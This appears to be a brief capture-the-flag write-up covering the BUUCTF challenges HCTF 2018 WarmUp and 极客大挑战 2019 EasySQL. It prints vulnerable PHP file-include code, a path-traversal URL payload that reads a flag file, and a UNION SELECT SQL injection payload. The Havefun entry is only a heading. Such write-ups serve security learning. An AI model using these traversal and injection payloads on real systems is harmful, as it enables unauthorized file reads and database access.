[HCTF 2018]WarmUp
[极客大挑战 2019]EasySQL
[极客大挑战 2019]Havefun
[HCTF 2018]WarmUp
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
payload:
view-source:http://d15127e7-d329-4984-8153-c5df2e7eba1a.node3.buuoj.cn/?file=hint.php?aaa/../../../../../../ffffllllaaaagggg
[极客大挑战 2019]EasySQL
单引号报错
payload:
http://1fd02d1f-724d-4d4a-b56c-1ee93ebf0852.node3.buuoj.cn/check.php?username=aadmin&password=%27union%20select%201,2,3%23
[极客大挑战 2019]Havefun